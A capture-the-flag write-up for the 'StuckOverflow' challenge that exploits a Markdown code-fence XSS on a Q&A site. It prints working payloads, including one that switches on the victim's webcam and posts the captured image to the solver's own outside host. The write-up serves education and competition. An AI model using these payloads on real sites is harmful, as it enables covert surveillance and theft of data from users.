Tags: xss 

Rating: 5.0

**Name:** StuckOverflow
**Score:** 500
**Description:** Good morning Agent **Eli Cohen**!
We got you a user in the most secret Hackers Q&A site in the Middle East. **Sheik Majid Al Ard** will be there and he is new so he will be asking for help...
Your mission is to send us marked photos of him or the places he's been in, He's always taking his laptop everywhere.

### Achieving XSS

The challenge link leads to a StackOverflow-like Q&A website which asks for an authentication: email, password, and a QR code, all provided in the description. To scan the QR code, the website asks for permissions to access the camera, which is a hint towards the solution.

After logging in, there's a page with various questions, most of them are hints for solving the challenge:

> **1. Create Image Recognition QR reader?**
> I saw the QR reader in the login page and I want to build the same feature to my terror website, how does it work?

> **2. Is DomPurify safe for every XSS Scenario?**
> I Had some issues with DomPurify that are not related to mutation...

> **3. Is backend MarkDown render is different from frontend MarkDown?**
> I saw some key differences... That's why I'm asking

> **4. Highlight code in MarkDown**
> How can I highlight JavaScript syntax in MarkDown?

> **5. How the new Copy button works?**
> I really liked the new Copy button, It's awsome to Copy code with one click! how does it work?

> **6. How do you protect your site from XSS?**
> You are using DomPurify in your backend?

> **7. Record WebCam video in Python**
> Hi, I need Python code that records WebCam video. I will use it when I hack Mossad agents.

> **8. Is Markdown safe?**
> I saw many sites use MarkDown, is it safe to use?

Question number 7 is authored by **Sheik Majid Al Ard**. We need to send marked photos of him or the places he's been in.

Some questions talk about XSS, DomPurify and Markdown, which lead me to look for an XSS vulnerability. I have no permissions to ask a new question, but I can comment on other questions. The comment can be formatted with Markdown, and HTML is correctly escaped, as it seems (probably with DomPurify).

With the hint of question 4, I found a way to trigger an XSS. The question asks how to highlight code in Markdown, the answer to which is:

```javascript
/* code here */
```

After some experimentation, the XSS can be trigerred in the language name, for example this Markdown answer:

```"onmouseover="alert(1)
/* code here */
```

Is rendered as the following HTML code:

/* code here */

Triggerring an alert on hover.

### Solving the challenge

Each highlighted block of code has a Copy button to copy the code. Question 5 is a hint that the victim is going to use the button to copy our answer, so we need to trigger the XSS on the button click. Looking at the implementation, the code text is selected, then `document.execCommand("copy")` is used to copy the selected text to the clipboard. After some attempts, I found out there's a non-standard [oncopy](https://developer.mozilla.org/en-US/docs/Web/API/HTMLElement/oncopy) property I can use instead of `onmousehover` to achieve XSS on the Copy button click.

For a quick test, I posted the following payload:

```"oncopy="fetch('https://solver.com/ping')
/* code here */
```

And indeed I got a request from a headless Chrome user agent. (Or should I say, **Sheik Majid Al Ard**? :))

According to the description, I need to get Sheik's photo. And thanks to the unusual authentication with a QR code, his browser got permissions to use the camera on the website. So I need to come up with a payload to grab a photo from a camera.

Perhaps I could implement this kind of code myself, but question 1 gives yet another hint: why not use the library that handles the QR code? Finally, I came up with the following payload, loading the Html5-QRCode library and sending a photo to my website:

```"oncopy="var/**/script=document.createElement('script');script.src='/scripts/html5-qrcode.min.js';document.head.appendChild(script);setTimeout(()=>{Html5Qrcode.getCameras().then(devices=>{new/**/Html5Qrcode('mobile-drawer').start(devices[0].id,{},code=>{})setTimeout(()=>{fetch('https://solver.cf/photo',{method:'post',body:document.getElementById('qr-canvas').toDataURL('image/png')})},1000)})},1000)
/* code here */
```

Note that whitespace is not allowed, so I used empty comments where needed.

Using this payload, I got a beautiful photo of **Sheik** together with the flag.

![Solution](https://i.imgur.com/Ej9HzkU.png)

Original writeup (https://twitter.com/m417z).